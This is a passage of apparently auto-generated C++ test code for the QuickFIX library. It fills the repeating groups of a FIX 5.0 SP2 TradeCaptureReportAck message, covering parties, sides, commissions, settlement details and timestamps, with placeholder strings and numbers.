RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_31;\n      set_field(noRootPartySubIDs_2_1_1, FIX::RootPartySubID{\"STRING_293345270\"}, RootSubParties_NoRootPartySubIDs_31);\n      set_field(noRootPartySubIDs_2_1_1, FIX::RootPartySubIDType{754595974}, RootSubParties_NoRootPartySubIDs_31);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_31);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_2.addGroup(noRootPartySubIDs_2_1_1);\n    }\n    msg.addGroup(noRootPartyIDs_0_2);\n  }\n  // TrdCapRptAckSideGrp\n  // Group TrdCapRptAckSideGrp.NoSides\n  {\n    FIX50SP2::TradeCaptureReportAck::NoSides noSides_0_0;\n    // TrdCapRptAckSideGrp.NoSides\n    multiset<string> TrdCapRptAckSideGrp_NoSides_0;\n    set_field(noSides_0_0, FIX::Account{\"STRING_1238525558\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AccountType{8}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::AccruedInterestAmt AccruedInterestAmt_12;\n    AccruedInterestAmt_12.setString(\"15493351\");\nset_field(noSides_0_0, AccruedInterestAmt_12, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::AccruedInterestRate AccruedInterestRate_7;\n    AccruedInterestRate_7.setString(\"93.840000\");\nset_field(noSides_0_0, AccruedInterestRate_7, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AcctIDSource{3}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AggressorIndicator{true}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::AllocID{\"STRING_768730229\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ComplianceID{\"STRING_1655830451\"}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::Concession Concession_7;\n    Concession_7.setString(\"14975610\");\nset_field(noSides_0_0, Concession_7, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::CustOrderCapacity{4}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::EndAccruedInterestAmt EndAccruedInterestAmt_12;\n    EndAccruedInterestAmt_12.setString(\"19524599\");\nset_field(noSides_0_0, EndAccruedInterestAmt_12, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::EndCash EndCash_12;\n    EndCash_12.setString(\"8500017\");\nset_field(noSides_0_0, EndCash_12, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ExDate{\"LOCALMKTDATE_712431415\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ExchangeRule{\"STRING_1266933257\"}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::InterestAtMaturity InterestAtMaturity_7;\n    InterestAtMaturity_7.setString(\"5745756\");\nset_field(noSides_0_0, InterestAtMaturity_7, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::NetGrossInd{2}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::NetMoney NetMoney_7;\n    NetMoney_7.setString(\"15540947\");\nset_field(noSides_0_0, NetMoney_7, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::NumDaysInterest{1997303734}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OddLot{true}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderCategory{'6'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderDelay{2135978091}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::OrderDelayUnit{4}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::PositionEffect{'N'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::PreallocMethod{'0'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::ProcessCode{'2'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::RptSeq{883215504}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::SettlCurrAmt SettlCurrAmt_15;\n    SettlCurrAmt_15.setString(\"17538352\");\nset_field(noSides_0_0, SettlCurrAmt_15, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::SettlCurrFxRate SettlCurrFxRate_15;\n    SettlCurrFxRate_15.setString(\"14864090\");\nset_field(noSides_0_0, SettlCurrFxRate_15, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SettlCurrFxRateCalc{'D'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::Side{'1'}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideCurrency{\"CHF\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideExecID{\"STRING_319747275\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideFillStationCd{\"STRING_1793887496\"}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::SideGrossTradeAmt SideGrossTradeAmt_2;\n    SideGrossTradeAmt_2.setString(\"19799520\");\nset_field(noSides_0_0, SideGrossTradeAmt_2, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideLastQty{2039243501}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideMultiLegReportingType{2}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideReasonCd{\"STRING_601198651\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideSettlCurrency{\"USD\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideTradeReportID{\"STRING_1649553994\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SideTrdSubTyp{1352566586}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::SolicitedFlag{true}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::StartCash StartCash_12;\n    StartCash_12.setString(\"2145017\");\nset_field(noSides_0_0, StartCash_12, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TimeBracket{\"STRING_472016195\"}, TrdCapRptAckSideGrp_NoSides_0);\n    FIX::TotalTakedown TotalTakedown_7;\n    TotalTakedown_7.setString(\"6167886\");\nset_field(noSides_0_0, TotalTakedown_7, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeAllocIndicator{5}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeInputDevice{\"STRING_2026110971\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradeInputSource{\"STRING_466608710\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradingSessionID{\"STRING_4\"}, TrdCapRptAckSideGrp_NoSides_0);\n    set_field(noSides_0_0, FIX::TradingSessionSubID{\"STRING_5\"}, TrdCapRptAckSideGrp_NoSides_0);\n    all_values.push_back(TrdCapRptAckSideGrp_NoSides_0);\n    all_compo_names.insert(\"...NoSides\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoClearingInstructions noClearingInstructions_0_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_19;\n      set_field(noClearingInstructions_0_1_0, FIX::ClearingInstruction{1}, ClrInstGrp_NoClearingInstructions_19);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_19);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_0.addGroup(noClearingInstructions_0_1_0);\n    }\n    // CommissionData\n    multiset<string> CommissionData_26;\n    set_field(noSides_0_0, FIX::CommCurrency{\"EUR\"}, CommissionData_26);\n    set_field(noSides_0_0, FIX::CommType{'6'}, CommissionData_26);\n    FIX::Commission Commission_29;\n    Commission_29.setString(\"11152798\");\nset_field(noSides_0_0, Commission_29, CommissionData_26);\n    set_field(noSides_0_0, FIX::FundRenewWaiv{'Y'}, CommissionData_26);\n    all_values.push_back(CommissionData_26);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // ContAmtGrp\n    // Group ContAmtGrp.NoContAmts\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_0_1_0;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_4;\n      set_field(noContAmts_0_1_0, FIX::ContAmtCurr{\"USD\"}, ContAmtGrp_NoContAmts_4);\n      set_field(noContAmts_0_1_0, FIX::ContAmtType{9}, ContAmtGrp_NoContAmts_4);\n      FIX::ContAmtValue ContAmtValue_4;\n      ContAmtValue_4.setString(\"4119596\");\nset_field(noContAmts_0_1_0, ContAmtValue_4, ContAmtGrp_NoContAmts_4);\n      all_values.push_back(ContAmtGrp_NoContAmts_4);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_0.addGroup(noContAmts_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_0_1_1;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_5;\n      set_field(noContAmts_0_1_1, FIX::ContAmtCurr{\"GBP\"}, ContAmtGrp_NoContAmts_5);\n      set_field(noContAmts_0_1_1, FIX::ContAmtType{12}, ContAmtGrp_NoContAmts_5);\n      FIX::ContAmtValue ContAmtValue_5;\n      ContAmtValue_5.setString(\"14132144\");\nset_field(noContAmts_0_1_1, ContAmtValue_5, ContAmtGrp_NoContAmts_5);\n      all_values.push_back(ContAmtGrp_NoContAmts_5);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_0.addGroup(noContAmts_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_0_1_2;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_6;\n      set_field(noContAmts_0_1_2, FIX::ContAmtCurr{\"USD\"}, ContAmtGrp_NoContAmts_6);\n      set_field(noContAmts_0_1_2, FIX::ContAmtType{15}, ContAmtGrp_NoContAmts_6);\n      FIX::ContAmtValue ContAmtValue_6;\n      ContAmtValue_6.setString(\"11985323\");\nset_field(noContAmts_0_1_2, ContAmtValue_6, ContAmtGrp_NoContAmts_6);\n      all_values.push_back(ContAmtGrp_NoContAmts_6);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_0.addGroup(noContAmts_0_1_2);\n    }\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoMiscFees noMiscFees_0_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_34;\n      FIX::MiscFeeAmt MiscFeeAmt_34;\n      MiscFeeAmt_34.setString(\"184040\");\nset_field(noMiscFees_0_1_0, MiscFeeAmt_34, MiscFeesGrp_NoMiscFees_34);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeBasis{1}, MiscFeesGrp_NoMiscFees_34);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeCurr{\"GBP\"}, MiscFeesGrp_NoMiscFees_34);\n      set_field(noMiscFees_0_1_0, FIX::MiscFeeType{\"STRING_10\"}, MiscFeesGrp_NoMiscFees_34);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_34);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_0.addGroup(noMiscFees_0_1_0);\n    }\n    // Parties\n    // Group Parties.NoPartyIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_0_1_0;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_153;\n      set_field(noPartyIDs_0_1_0, FIX::PartyID{\"STRING_369047531\"}, Parties_NoPartyIDs_153);\n      set_field(noPartyIDs_0_1_0, FIX::PartyIDSource{'1'}, Parties_NoPartyIDs_153);\n      set_field(noPartyIDs_0_1_0, FIX::PartyRole{1}, Parties_NoPartyIDs_153);\n      all_values.push_back(Parties_NoPartyIDs_153);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_0_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_303;\n        set_field(noPartySubIDs_0_0_2_0, FIX::PartySubID{\"STRING_631762197\"}, PtysSubGrp_NoPartySubIDs_303);\n        set_field(noPartySubIDs_0_0_2_0, FIX::PartySubIDType{9}, PtysSubGrp_NoPartySubIDs_303);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_303);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_0.addGroup(noPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_0_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_304;\n        set_field(noPartySubIDs_0_0_2_1, FIX::PartySubID{\"STRING_1698523573\"}, PtysSubGrp_NoPartySubIDs_304);\n        set_field(noPartySubIDs_0_0_2_1, FIX::PartySubIDType{29}, PtysSubGrp_NoPartySubIDs_304);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_304);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_0.addGroup(noPartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_0_0_2_2;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_305;\n        set_field(noPartySubIDs_0_0_2_2, FIX::PartySubID{\"STRING_1558059539\"}, PtysSubGrp_NoPartySubIDs_305);\n        set_field(noPartySubIDs_0_0_2_2, FIX::PartySubIDType{3}, PtysSubGrp_NoPartySubIDs_305);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_305);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_0_1_0.addGroup(noPartySubIDs_0_0_2_2);\n      }\n      noSides_0_0.addGroup(noPartyIDs_0_1_0);\n    }\n    // SettlDetails\n    // Group SettlDetails.NoSettlDetails\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_0_1_0;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_9;\n      set_field(noSettlDetails_0_1_0, FIX::SettlObligSource{'2'}, SettlDetails_NoSettlDetails_9);\n      all_values.push_back(SettlDetails_NoSettlDetails_9);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_0_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_53;\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyID{\"STRING_1761153634\"}, SettlParties_NoSettlPartyIDs_53);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyIDSource{'2'}, SettlParties_NoSettlPartyIDs_53);\n        set_field(noSettlPartyIDs_0_0_2_0, FIX::SettlPartyRole{1222636287}, SettlParties_NoSettlPartyIDs_53);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_53);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_105;\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubID{\"STRING_2070810815\"}, SettlPtysSubGrp_NoSettlPartySubIDs_105);\n          set_field(noSettlPartySubIDs_0_0_0_3_0, FIX::SettlPartySubIDType{1467064329}, SettlPtysSubGrp_NoSettlPartySubIDs_105);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_105);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_0.addGroup(noSettlPartySubIDs_0_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_106;\n          set_field(noSettlPartySubIDs_0_0_0_3_1, FIX::SettlPartySubID{\"STRING_400855318\"}, SettlPtysSubGrp_NoSettlPartySubIDs_106);\n          set_field(noSettlPartySubIDs_0_0_0_3_1, FIX::SettlPartySubIDType{1929648405}, SettlPtysSubGrp_NoSettlPartySubIDs_106);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_106);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_0.addGroup(noSettlPartySubIDs_0_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_0_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_107;\n          set_field(noSettlPartySubIDs_0_0_0_3_2, FIX::SettlPartySubID{\"STRING_165207373\"}, SettlPtysSubGrp_NoSettlPartySubIDs_107);\n          set_field(noSettlPartySubIDs_0_0_0_3_2, FIX::SettlPartySubIDType{1214176392}, SettlPtysSubGrp_NoSettlPartySubIDs_107);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_107);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_0.addGroup(noSettlPartySubIDs_0_0_0_3_2);\n        }\n        noSettlDetails_0_1_0.addGroup(noSettlPartyIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_0_0_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_54;\n        set_field(noSettlPartyIDs_0_0_2_1, FIX::SettlPartyID{\"STRING_980697155\"}, SettlParties_NoSettlPartyIDs_54);\n        set_field(noSettlPartyIDs_0_0_2_1, FIX::SettlPartyIDSource{'5'}, SettlParties_NoSettlPartyIDs_54);\n        set_field(noSettlPartyIDs_0_0_2_1, FIX::SettlPartyRole{1232580405}, SettlParties_NoSettlPartyIDs_54);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_54);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_108;\n          set_field(noSettlPartySubIDs_0_0_1_3_0, FIX::SettlPartySubID{\"STRING_1075103213\"}, SettlPtysSubGrp_NoSettlPartySubIDs_108);\n          set_field(noSettlPartySubIDs_0_0_1_3_0, FIX::SettlPartySubIDType{1723000613}, SettlPtysSubGrp_NoSettlPartySubIDs_108);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_108);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_1.addGroup(noSettlPartySubIDs_0_0_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_1_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_109;\n          set_field(noSettlPartySubIDs_0_0_1_3_1, FIX::SettlPartySubID{\"STRING_1931492845\"}, SettlPtysSubGrp_NoSettlPartySubIDs_109);\n          set_field(noSettlPartySubIDs_0_0_1_3_1, FIX::SettlPartySubIDType{1457618558}, SettlPtysSubGrp_NoSettlPartySubIDs_109);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_109);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_1.addGroup(noSettlPartySubIDs_0_0_1_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_1_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_110;\n          set_field(noSettlPartySubIDs_0_0_1_3_2, FIX::SettlPartySubID{\"STRING_2092048144\"}, SettlPtysSubGrp_NoSettlPartySubIDs_110);\n          set_field(noSettlPartySubIDs_0_0_1_3_2, FIX::SettlPartySubIDType{2108151888}, SettlPtysSubGrp_NoSettlPartySubIDs_110);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_110);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_1.addGroup(noSettlPartySubIDs_0_0_1_3_2);\n        }\n        noSettlDetails_0_1_0.addGroup(noSettlPartyIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_0_0_2_2;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_55;\n        set_field(noSettlPartyIDs_0_0_2_2, FIX::SettlPartyID{\"STRING_477560863\"}, SettlParties_NoSettlPartyIDs_55);\n        set_field(noSettlPartyIDs_0_0_2_2, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_55);\n        set_field(noSettlPartyIDs_0_0_2_2, FIX::SettlPartyRole{592430437}, SettlParties_NoSettlPartyIDs_55);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_55);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_0_2_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_111;\n          set_field(noSettlPartySubIDs_0_0_2_3_0, FIX::SettlPartySubID{\"STRING_962063692\"}, SettlPtysSubGrp_NoSettlPartySubIDs_111);\n          set_field(noSettlPartySubIDs_0_0_2_3_0, FIX::SettlPartySubIDType{311117080}, SettlPtysSubGrp_NoSettlPartySubIDs_111);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_111);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_0_2_2.addGroup(noSettlPartySubIDs_0_0_2_3_0);\n        }\n        noSettlDetails_0_1_0.addGroup(noSettlPartyIDs_0_0_2_2);\n      }\n      noSides_0_0.addGroup(noSettlDetails_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_0_1_1;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_10;\n      set_field(noSettlDetails_0_1_1, FIX::SettlObligSource{'1'}, SettlDetails_NoSettlDetails_10);\n      all_values.push_back(SettlDetails_NoSettlDetails_10);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_0_1_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_56;\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyID{\"STRING_870563426\"}, SettlParties_NoSettlPartyIDs_56);\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_56);\n        set_field(noSettlPartyIDs_0_1_2_0, FIX::SettlPartyRole{291576445}, SettlParties_NoSettlPartyIDs_56);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_56);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_1_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_112;\n          set_field(noSettlPartySubIDs_0_1_0_3_0, FIX::SettlPartySubID{\"STRING_102321010\"}, SettlPtysSubGrp_NoSettlPartySubIDs_112);\n          set_field(noSettlPartySubIDs_0_1_0_3_0, FIX::SettlPartySubIDType{1514212732}, SettlPtysSubGrp_NoSettlPartySubIDs_112);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_112);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_1_2_0.addGroup(noSettlPartySubIDs_0_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_0_1_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_113;\n          set_field(noSettlPartySubIDs_0_1_0_3_1, FIX::SettlPartySubID{\"STRING_1619357961\"}, SettlPtysSubGrp_NoSettlPartySubIDs_113);\n          set_field(noSettlPartySubIDs_0_1_0_3_1, FIX::SettlPartySubIDType{25648178}, SettlPtysSubGrp_NoSettlPartySubIDs_113);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_113);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_0_1_2_0.addGroup(noSettlPartySubIDs_0_1_0_3_1);\n        }\n        noSettlDetails_0_1_1.addGroup(noSettlPartyIDs_0_1_2_0);\n      }\n      noSides_0_0.addGroup(noSettlDetails_0_1_1);\n    }\n    // SideTrdRegTS\n    // Group SideTrdRegTS.NoSideTrdRegTS\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_0_1_0;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_2;\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(23, 7, 24, 19, 12, 2001)}, SideTrdRegTS_NoSideTrdRegTS_2);\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestampSrc{\"STRING_862468955\"}, SideTrdRegTS_NoSideTrdRegTS_2);\n      set_field(noSideTrdRegTS_0_1_0, FIX::SideTrdRegTimestampType{439524764}, SideTrdRegTS_NoSideTrdRegTS_2);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_2);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_0.addGroup(noSideTrdRegTS_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_0_1_1;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_3;\n      set_field(noSideTrdRegTS_0_1_1, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(16, 23, 51, 20, 11, 2006)}, SideTrdRegTS_NoSideTrdRegTS_3);\n      